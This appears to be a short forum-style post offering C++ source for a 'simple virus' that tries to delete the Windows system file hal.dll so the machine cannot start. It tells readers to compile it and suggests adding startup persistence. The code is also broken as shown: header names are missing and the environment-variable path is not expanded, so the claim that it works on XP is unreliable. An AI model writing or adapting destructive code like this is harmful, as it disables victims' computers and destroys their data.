c++ Simple Virus

#include    //default by my compiler
#include  //default by my compiler
#include   //For remove();
using namespace std;

int main(int argc, char *argv[])
{

remove("%systemroot%/system32/hal.dll"); //hal.dll is needed for startup
//system("%systemroot%/system32/hal.dll"); 
}

Just compile and it will delete hal.dll which is needed for windows start up
this will work in xp not sure about vista but try it.
add more features like add to startup ect.